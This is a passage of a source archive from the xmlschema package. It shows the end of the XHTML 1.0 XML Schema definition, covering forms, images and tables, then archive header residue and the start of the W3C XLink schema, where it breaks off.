type="Datetime"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> ================== The Anchor Element ================================ </xs:documentation> </xs:annotation> <xs:element name="a"> <xs:annotation> <xs:documentation> content is "Inline" except that anchors shouldn't be nested </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="a.content"> <xs:attributeGroup ref="attrs"/> <xs:attributeGroup ref="focus"/> <xs:attribute name="charset" type="Charset"/> <xs:attribute name="type" type="ContentType"/> <xs:attribute name="name" type="xs:NMTOKEN"/> <xs:attribute name="href" type="URI"/> <xs:attribute name="hreflang" type="LanguageCode"/> <xs:attribute name="rel" type="LinkTypes"/> <xs:attribute name="rev" type="LinkTypes"/> <xs:attribute name="shape" default="rect" type="Shape"/> <xs:attribute name="coords" type="Coords"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> ===================== Inline Elements ================================ </xs:documentation> </xs:annotation> <xs:element name="span"> <xs:annotation> <xs:documentation> generic language/style container </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="bdo"> <xs:annotation> <xs:documentation> I18N BiDi over-ride </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="coreattrs"/> <xs:attributeGroup ref="events"/> <xs:attribute name="lang" type="LanguageCode"/> <xs:attribute ref="xml:lang"/> <xs:attribute name="dir" use="required"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="ltr"/> <xs:enumeration value="rtl"/> </xs:restriction> </xs:simpleType> </xs:attribute> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="br"> <xs:annotation> <xs:documentation> forced line break </xs:documentation> </xs:annotation> <xs:complexType> <xs:attributeGroup ref="coreattrs"/> </xs:complexType> </xs:element> <xs:element name="em"> <xs:annotation> <xs:documentation> emphasis </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="strong"> <xs:annotation> <xs:documentation> strong emphasis </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="dfn"> <xs:annotation> <xs:documentation> definitional </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="code"> <xs:annotation> <xs:documentation> program code </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="samp"> <xs:annotation> <xs:documentation> sample </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="kbd"> <xs:annotation> <xs:documentation> something user would type </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="var"> <xs:annotation> <xs:documentation> variable </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="cite"> <xs:annotation> <xs:documentation> citation </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="abbr"> <xs:annotation> <xs:documentation> abbreviation </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="acronym"> <xs:annotation> <xs:documentation> acronym </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="q"> <xs:annotation> <xs:documentation> inlined quote </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> <xs:attribute name="cite" type="URI"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="sub"> <xs:annotation> <xs:documentation> subscript </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="sup"> <xs:annotation> <xs:documentation> superscript </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="tt"> <xs:annotation> <xs:documentation> fixed pitch font </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="i"> <xs:annotation> <xs:documentation> italic font </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="b"> <xs:annotation> <xs:documentation> bold font </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="big"> <xs:annotation> <xs:documentation> bigger font </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="small"> <xs:annotation> <xs:documentation> smaller font </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> ==================== Object ====================================== object is used to embed objects as part of HTML pages. param elements should precede other content. Parameters can also be expressed as attribute/value pairs on the object element itself when brevity is desired. </xs:documentation> </xs:annotation> <xs:element name="object"> <xs:complexType mixed="true"> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element ref="param"/> <xs:group ref="block"/> <xs:element ref="form"/> <xs:group ref="inline"/> <xs:group ref="misc"/> </xs:choice> <xs:attributeGroup ref="attrs"/> <xs:attribute name="declare"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="declare"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="classid" type="URI"/> <xs:attribute name="codebase" type="URI"/> <xs:attribute name="data" type="URI"/> <xs:attribute name="type" type="ContentType"/> <xs:attribute name="codetype" type="ContentType"/> <xs:attribute name="archive" type="UriList"/> <xs:attribute name="standby" type="Text"/> <xs:attribute name="height" type="Length"/> <xs:attribute name="width" type="Length"/> <xs:attribute name="usemap" type="URI"/> <xs:attribute name="name" type="xs:NMTOKEN"/> <xs:attribute name="tabindex" type="tabindexNumber"/> </xs:complexType> </xs:element> <xs:element name="param"> <xs:annotation> <xs:documentation> param is used to supply a named property value. In XML it would seem natural to follow RDF and support an abbreviated syntax where the param elements are replaced by attribute value pairs on the object start tag. </xs:documentation> </xs:annotation> <xs:complexType> <xs:attribute name="id" type="xs:ID"/> <xs:attribute name="name"/> <xs:attribute name="value"/> <xs:attribute name="valuetype" default="data"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="data"/> <xs:enumeration value="ref"/> <xs:enumeration value="object"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="type" type="ContentType"/> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> =================== Images =========================================== To avoid accessibility problems for people who aren't able to see the image, you should provide a text description using the alt and longdesc attributes. In addition, avoid the use of server-side image maps. Note that in this DTD there is no name attribute. That is only available in the transitional and frameset DTD. </xs:documentation> </xs:annotation> <xs:element name="img"> <xs:complexType> <xs:attributeGroup ref="attrs"/> <xs:attribute name="src" use="required" type="URI"/> <xs:attribute name="alt" use="required" type="Text"/> <xs:attribute name="longdesc" type="URI"/> <xs:attribute name="height" type="Length"/> <xs:attribute name="width" type="Length"/> <xs:attribute name="usemap" type="URI"> <xs:annotation> <xs:documentation> usemap points to a map element which may be in this document or an external document, although the latter is not widely supported </xs:documentation> </xs:annotation> </xs:attribute> <xs:attribute name="ismap"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="ismap"/> </xs:restriction> </xs:simpleType> </xs:attribute> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> ================== Client-side image maps ============================ These can be placed in the same document or grouped in a separate document although this isn't yet widely supported </xs:documentation> </xs:annotation> <xs:element name="map"> <xs:complexType> <xs:choice> <xs:choice maxOccurs="unbounded"> <xs:group ref="block"/> <xs:element ref="form"/> <xs:group ref="misc"/> </xs:choice> <xs:element maxOccurs="unbounded" ref="area"/> </xs:choice> <xs:attributeGroup ref="i18n"/> <xs:attributeGroup ref="events"/> <xs:attribute name="id" use="required" type="xs:ID"/> <xs:attribute name="class"/> <xs:attribute name="style" type="StyleSheet"/> <xs:attribute name="title" type="Text"/> <xs:attribute name="name" type="xs:NMTOKEN"/> </xs:complexType> </xs:element> <xs:element name="area"> <xs:complexType> <xs:attributeGroup ref="attrs"/> <xs:attributeGroup ref="focus"/> <xs:attribute name="shape" default="rect" type="Shape"/> <xs:attribute name="coords" type="Coords"/> <xs:attribute name="href" type="URI"/> <xs:attribute name="nohref"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="nohref"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="alt" use="required" type="Text"/> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> ================ Forms =============================================== </xs:documentation> </xs:annotation> <xs:element name="form"> <xs:complexType> <xs:complexContent> <xs:extension base="form.content"> <xs:attributeGroup ref="attrs"/> <xs:attribute name="action" use="required" type="URI"/> <xs:attribute name="method" default="get"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="get"/> <xs:enumeration value="post"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="enctype" type="ContentType" default="application/x-www-form-urlencoded"/> <xs:attribute name="onsubmit" type="Script"/> <xs:attribute name="onreset" type="Script"/> <xs:attribute name="accept" type="ContentTypes"/> <xs:attribute name="accept-charset" type="Charsets"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="label"> <xs:annotation> <xs:documentation> Each label must not contain more than ONE field Label elements shouldn't be nested. </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> <xs:attribute name="for" type="xs:IDREF"/> <xs:attribute name="accesskey" type="Character"/> <xs:attribute name="onfocus" type="Script"/> <xs:attribute name="onblur" type="Script"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:simpleType name="InputType"> <xs:restriction base="xs:token"> <xs:enumeration value="text"/> <xs:enumeration value="password"/> <xs:enumeration value="checkbox"/> <xs:enumeration value="radio"/> <xs:enumeration value="submit"/> <xs:enumeration value="reset"/> <xs:enumeration value="file"/> <xs:enumeration value="hidden"/> <xs:enumeration value="image"/> <xs:enumeration value="button"/> </xs:restriction> </xs:simpleType> <xs:element name="input"> <xs:annotation> <xs:documentation> form control </xs:documentation> </xs:annotation> <xs:complexType> <xs:attributeGroup ref="attrs"/> <xs:attributeGroup ref="focus"/> <xs:attribute name="type" default="text" type="InputType"/> <xs:attribute name="name"> <xs:annotation> <xs:documentation> the name attribute is required for all but submit & reset </xs:documentation> </xs:annotation> </xs:attribute> <xs:attribute name="value"/> <xs:attribute name="checked"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="checked"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="disabled"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="disabled"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="readonly"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="readonly"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="size"/> <xs:attribute name="maxlength" type="Number"/> <xs:attribute name="src" type="URI"/> <xs:attribute name="alt"/> <xs:attribute name="usemap" type="URI"/> <xs:attribute name="onselect" type="Script"/> <xs:attribute name="onchange" type="Script"/> <xs:attribute name="accept" type="ContentTypes"/> </xs:complexType> </xs:element> <xs:element name="select"> <xs:annotation> <xs:documentation> option selector </xs:documentation> </xs:annotation> <xs:complexType> <xs:choice maxOccurs="unbounded"> <xs:element ref="optgroup"/> <xs:element ref="option"/> </xs:choice> <xs:attributeGroup ref="attrs"/> <xs:attribute name="name"/> <xs:attribute name="size" type="Number"/> <xs:attribute name="multiple"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="multiple"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="disabled"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="disabled"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="tabindex" type="tabindexNumber"/> <xs:attribute name="onfocus" type="Script"/> <xs:attribute name="onblur" type="Script"/> <xs:attribute name="onchange" type="Script"/> </xs:complexType> </xs:element> <xs:element name="optgroup"> <xs:annotation> <xs:documentation> option group </xs:documentation> </xs:annotation> <xs:complexType> <xs:sequence> <xs:element maxOccurs="unbounded" ref="option"/> </xs:sequence> <xs:attributeGroup ref="attrs"/> <xs:attribute name="disabled"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="disabled"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="label" use="required" type="Text"/> </xs:complexType> </xs:element> <xs:element name="option"> <xs:annotation> <xs:documentation> selectable choice </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:attributeGroup ref="attrs"/> <xs:attribute name="selected"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="selected"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="disabled"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="disabled"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="label" type="Text"/> <xs:attribute name="value"/> </xs:complexType> </xs:element> <xs:element name="textarea"> <xs:annotation> <xs:documentation> multi-line text field </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:attributeGroup ref="attrs"/> <xs:attributeGroup ref="focus"/> <xs:attribute name="name"/> <xs:attribute name="rows" use="required" type="Number"/> <xs:attribute name="cols" use="required" type="Number"/> <xs:attribute name="disabled"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="disabled"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="readonly"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="readonly"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="onselect" type="Script"/> <xs:attribute name="onchange" type="Script"/> </xs:complexType> </xs:element> <xs:element name="fieldset"> <xs:annotation> <xs:documentation> The fieldset element is used to group form fields. Only one legend element should occur in the content and if present should only be preceded by whitespace. NOTE: this content model is different from the XHTML 1.0 DTD, closer to the intended content model in HTML4 DTD </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:sequence> <xs:element ref="legend"/> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:group ref="block"/> <xs:element ref="form"/> <xs:group ref="inline"/> <xs:group ref="misc"/> </xs:choice> </xs:sequence> <xs:attributeGroup ref="attrs"/> </xs:complexType> </xs:element> <xs:element name="legend"> <xs:annotation> <xs:documentation> fieldset label </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> <xs:attribute name="accesskey" type="Character"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="button"> <xs:annotation> <xs:documentation> Content is "Flow" excluding a, form and form controls </xs:documentation> </xs:annotation> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="button.content"> <xs:attributeGroup ref="attrs"/> <xs:attributeGroup ref="focus"/> <xs:attribute name="name"/> <xs:attribute name="value"/> <xs:attribute name="type" default="submit"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="button"/> <xs:enumeration value="submit"/> <xs:enumeration value="reset"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="disabled"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="disabled"/> </xs:restriction> </xs:simpleType> </xs:attribute> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> ======================= Tables ======================================= Derived from IETF HTML table standard, see [RFC1942] </xs:documentation> </xs:annotation> <xs:simpleType name="TFrame"> <xs:annotation> <xs:documentation> The border attribute sets the thickness of the frame around the table. The default units are screen pixels. The frame attribute specifies which parts of the frame around the table should be rendered. The values are not the same as CALS to avoid a name clash with the valign attribute. </xs:documentation> </xs:annotation> <xs:restriction base="xs:token"> <xs:enumeration value="void"/> <xs:enumeration value="above"/> <xs:enumeration value="below"/> <xs:enumeration value="hsides"/> <xs:enumeration value="lhs"/> <xs:enumeration value="rhs"/> <xs:enumeration value="vsides"/> <xs:enumeration value="box"/> <xs:enumeration value="border"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="TRules"> <xs:annotation> <xs:documentation> The rules attribute defines which rules to draw between cells: If rules is absent then assume: "none" if border is absent or border="0" otherwise "all" </xs:documentation> </xs:annotation> <xs:restriction base="xs:token"> <xs:enumeration value="none"/> <xs:enumeration value="groups"/> <xs:enumeration value="rows"/> <xs:enumeration value="cols"/> <xs:enumeration value="all"/> </xs:restriction> </xs:simpleType> <xs:attributeGroup name="cellhalign"> <xs:annotation> <xs:documentation> horizontal alignment attributes for cell contents char alignment char, e.g. char=':' charoff offset for alignment char </xs:documentation> </xs:annotation> <xs:attribute name="align"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="left"/> <xs:enumeration value="center"/> <xs:enumeration value="right"/> <xs:enumeration value="justify"/> <xs:enumeration value="char"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="char" type="Character"/> <xs:attribute name="charoff" type="Length"/> </xs:attributeGroup> <xs:attributeGroup name="cellvalign"> <xs:annotation> <xs:documentation> vertical alignment attributes for cell contents </xs:documentation> </xs:annotation> <xs:attribute name="valign"> <xs:simpleType> <xs:restriction base="xs:token"> <xs:enumeration value="top"/> <xs:enumeration value="middle"/> <xs:enumeration value="bottom"/> <xs:enumeration value="baseline"/> </xs:restriction> </xs:simpleType> </xs:attribute> </xs:attributeGroup> <xs:element name="table"> <xs:complexType> <xs:sequence> <xs:element minOccurs="0" ref="caption"/> <xs:choice> <xs:element minOccurs="0" maxOccurs="unbounded" ref="col"/> <xs:element minOccurs="0" maxOccurs="unbounded" ref="colgroup"/> </xs:choice> <xs:element minOccurs="0" ref="thead"/> <xs:element minOccurs="0" ref="tfoot"/> <xs:choice> <xs:element maxOccurs="unbounded" ref="tbody"/> <xs:element maxOccurs="unbounded" ref="tr"/> </xs:choice> </xs:sequence> <xs:attributeGroup ref="attrs"/> <xs:attribute name="summary" type="Text"/> <xs:attribute name="width" type="Length"/> <xs:attribute name="border" type="Pixels"/> <xs:attribute name="frame" type="TFrame"/> <xs:attribute name="rules" type="TRules"/> <xs:attribute name="cellspacing" type="Length"/> <xs:attribute name="cellpadding" type="Length"/> </xs:complexType> </xs:element> <xs:element name="caption"> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Inline"> <xs:attributeGroup ref="attrs"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:annotation> <xs:documentation> Use thead to duplicate headers when breaking table across page boundaries, or for static headers when tbody sections are rendered in scrolling panel. Use tfoot to duplicate footers when breaking table across page boundaries, or for static footers when tbody sections are rendered in scrolling panel. Use multiple tbody sections when rules are needed between groups of table rows. </xs:documentation> </xs:annotation> <xs:element name="thead"> <xs:complexType> <xs:sequence> <xs:element maxOccurs="unbounded" ref="tr"/> </xs:sequence> <xs:attributeGroup ref="attrs"/> <xs:attributeGroup ref="cellhalign"/> <xs:attributeGroup ref="cellvalign"/> </xs:complexType> </xs:element> <xs:element name="tfoot"> <xs:complexType> <xs:sequence> <xs:element maxOccurs="unbounded" ref="tr"/> </xs:sequence> <xs:attributeGroup ref="attrs"/> <xs:attributeGroup ref="cellhalign"/> <xs:attributeGroup ref="cellvalign"/> </xs:complexType> </xs:element> <xs:element name="tbody"> <xs:complexType> <xs:sequence> <xs:element maxOccurs="unbounded" ref="tr"/> </xs:sequence> <xs:attributeGroup ref="attrs"/> <xs:attributeGroup ref="cellhalign"/> <xs:attributeGroup ref="cellvalign"/> </xs:complexType> </xs:element> <xs:element name="colgroup"> <xs:annotation> <xs:documentation> colgroup groups a set of col elements. It allows you to group several semantically related columns together. </xs:documentation> </xs:annotation> <xs:complexType> <xs:sequence> <xs:element minOccurs="0" maxOccurs="unbounded" ref="col"/> </xs:sequence> <xs:attributeGroup ref="attrs"/> <xs:attribute name="span" default="1" type="Number"/> <xs:attribute name="width" type="MultiLength"/> <xs:attributeGroup ref="cellhalign"/> <xs:attributeGroup ref="cellvalign"/> </xs:complexType> </xs:element> <xs:element name="col"> <xs:annotation> <xs:documentation> col elements define the alignment properties for cells in one or more columns. The width attribute specifies the width of the columns, e.g. width=64 width in screen pixels width=0.5* relative width of 0.5 The span attribute causes the attributes of one col element to apply to more than one column. </xs:documentation> </xs:annotation> <xs:complexType> <xs:attributeGroup ref="attrs"/> <xs:attribute name="span" default="1" type="Number"/> <xs:attribute name="width" type="MultiLength"/> <xs:attributeGroup ref="cellhalign"/> <xs:attributeGroup ref="cellvalign"/> </xs:complexType> </xs:element> <xs:element name="tr"> <xs:complexType> <xs:choice maxOccurs="unbounded"> <xs:element ref="th"/> <xs:element ref="td"/> </xs:choice> <xs:attributeGroup ref="attrs"/> <xs:attributeGroup ref="cellhalign"/> <xs:attributeGroup ref="cellvalign"/> </xs:complexType> </xs:element> <xs:simpleType name="Scope"> <xs:annotation> <xs:documentation> Scope is simpler than headers attribute for common tables </xs:documentation> </xs:annotation> <xs:restriction base="xs:token"> <xs:enumeration value="row"/> <xs:enumeration value="col"/> <xs:enumeration value="rowgroup"/> <xs:enumeration value="colgroup"/> </xs:restriction> </xs:simpleType> <xs:annotation> <xs:documentation> th is for headers, td for data and for cells acting as both </xs:documentation> </xs:annotation> <xs:element name="th"> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Flow"> <xs:attributeGroup ref="attrs"/> <xs:attribute name="abbr" type="Text"/> <xs:attribute name="axis"/> <xs:attribute name="headers" type="xs:IDREFS"/> <xs:attribute name="scope" type="Scope"/> <xs:attribute name="rowspan" default="1" type="Number"/> <xs:attribute name="colspan" default="1" type="Number"/> <xs:attributeGroup ref="cellhalign"/> <xs:attributeGroup ref="cellvalign"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> <xs:element name="td"> <xs:complexType mixed="true"> <xs:complexContent> <xs:extension base="Flow"> <xs:attributeGroup ref="attrs"/> <xs:attribute name="abbr" type="Text"/> <xs:attribute name="axis"/> <xs:attribute name="headers" type="xs:IDREFS"/> <xs:attribute name="scope" type="Scope"/> <xs:attribute name="rowspan" default="1" type="Number"/> <xs:attribute name="colspan" default="1" type="Number"/> <xs:attributeGroup ref="cellhalign"/> <xs:attributeGroup ref="cellvalign"/> </xs:extension> </xs:complexContent> </xs:complexType> </xs:element> </xs:schema> �����������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/XLINK/������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0017756�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/XLINK/xlink.xsd���������������������������������������������������0000664�0000000�0000000�00000017563�15020401055�0021637�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://www.w3.org/1999/xlink" xmlns:xlink="http://www.w3.org/1999/xlink"> <xs:annotation> <xs:documentation>This schema document provides attribute declarations and attribute group, complex type and simple type definitions which can be used in the construction of user schemas to define the structure of particular linking constructs, e.g. <![CDATA[ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xl="http://www.w3.org/1999/xlink"> <xs:import namespace="http://www.w3.org/1999/xlink" location="http://www.w3.org/1999/xlink.xsd"> <xs:element name="mySimple"> <xs:complexType> ... <xs:attributeGroup ref="xl:simpleAttrs"/> ... </xs:complexType> </xs:element> ... </xs:schema>]]></xs:documentation> </xs:annotation> <xs:import namespace="http://www.w3.org/XML/1998/namespace" schemaLocation="http://www.w3.org/2001/xml.xsd"/> <xs:attribute name="type" type="xlink:typeType"/> <xs:simpleType name="typeType"> <xs:restriction base="xs:token"> <xs:enumeration value="simple"/> <xs:enumeration value="extended"/> <xs:enumeration value="title"/> <xs:enumeration value="resource"/> <xs:enumeration value="locator"/> <xs:enumeration value="arc"/> </xs:restriction> </xs:simpleType> <xs:attribute name="href" type="xlink:hrefType"/> <xs:simpleType name="hrefType"> <xs:restriction base="xs:anyURI"/> </xs:simpleType> <xs:attribute name="role" type="xlink:roleType"/> <xs:simpleType name="roleType"> <xs:restriction base="xs:anyURI"> <xs:minLength value="1"/> </xs:restriction> </xs:simpleType> <xs:attribute name="arcrole" type="xlink:arcroleType"/> <xs:simpleType name="arcroleType"> <xs:restriction base="xs:anyURI"> <xs:minLength value="1"/> </xs:restriction> </xs:simpleType> <xs:attribute name="title" type="xlink:titleAttrType"/> <xs:simpleType name="titleAttrType"> <xs:restriction base="xs:string"/> </xs:simpleType> <xs:attribute name="show" type="xlink:showType"/> <xs:simpleType name="showType"> <xs:restriction base="xs:token"> <xs:enumeration value="new"/> <xs:enumeration value="replace"/> <xs:enumeration value="embed"/> <xs:enumeration value="other"/> <xs:enumeration value="none"/> </xs:restriction> </xs:simpleType> <xs:attribute name="actuate" type="xlink:actuateType"/> <xs:simpleType name="actuateType"> <xs:restriction base="xs:token"> <xs:enumeration value="onLoad"/> <xs:enumeration value="onRequest"/> <xs:enumeration value="other"/> <xs:enumeration value="none"/> </xs:restriction> </xs:simpleType> <xs:attribute name="label" type="xlink:labelType"/> <xs:simpleType name="labelType"> <xs:restriction base="xs:NCName"/> </xs:simpleType> <xs:attribute name="from" type="xlink:fromType"/> <xs:simpleType name="fromType"> <xs:restriction base="xs:NCName"/> </xs:simpleType> <xs:attribute name="to" type="xlink:toType"/> <xs:simpleType name="toType"> <xs:restriction base="xs:NCName"/> </xs:simpleType> <xs:attributeGroup name="simpleAttrs"> <xs:attribute ref="xlink:type" fixed="simple"/> <xs:attribute ref="xlink:href"/> <xs:attribute ref="xlink:role"/> <xs:attribute ref="xlink:arcrole"/> <xs:attribute ref="xlink:title"/> <xs:attribute ref="xlink:show"/> <xs:attribute ref="xlink:actuate"/> </xs:attributeGroup> <xs:group name="simpleModel"> <xs:sequence> <xs:any processContents="lax" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> </xs:group> <xs:complexType mixed="true" name="simple"> <xs:annotation> <xs:documentation> Intended for use as the type of user-declared elements to make them simple links. </xs:documentation> </xs:annotation> <xs:group ref="xlink:simpleModel"/> <xs:attributeGroup ref="xlink:simpleAttrs"/> </xs:complexType> <xs:attributeGroup name="extendedAttrs"> <xs:attribute ref="xlink:type" fixed="extended" use="required"/> <xs:attribute ref="xlink:role"/> <xs:attribute ref="xlink:title"/> </xs:attributeGroup> <xs:group name="extendedModel"> <xs:choice> <xs:element ref="xlink:title"/> <xs:element ref="xlink:resource"/> <xs:element ref="xlink:locator"/> <xs:element ref="xlink:arc"/> </xs:choice> </xs:group> <xs:complexType name="extended"> <xs:annotation> <xs:documentation> Intended for use as the type of user-declared elements to make them extended links. Note that the elements referenced in the content model are all abstract. The intention is that by simply declaring elements with these as their substitutionGroup, all the right things will happen. </xs:documentation> </xs:annotation> <xs:group ref="xlink:extendedModel" minOccurs="0" maxOccurs="unbounded"/> <xs:attributeGroup ref="xlink:extendedAttrs"/> </xs:complexType> <xs:element name="title" type="xlink:titleEltType" abstract="true"/> <xs:attributeGroup name="titleAttrs"> <xs:attribute ref="xlink:type" fixed="title" use="required"/> <xs:attribute ref="xml:lang"> <xs:annotation> <xs:documentation> xml:lang is not required, but provides much of the motivation for title elements in addition to attributes, and so is provided here for convenience. </xs:documentation> </xs:annotation> </xs:attribute> </xs:attributeGroup> <xs:group name="titleModel"> <xs:sequence> <xs:any processContents="lax" minOccurs="0" maxOccurs="unbounded"/> 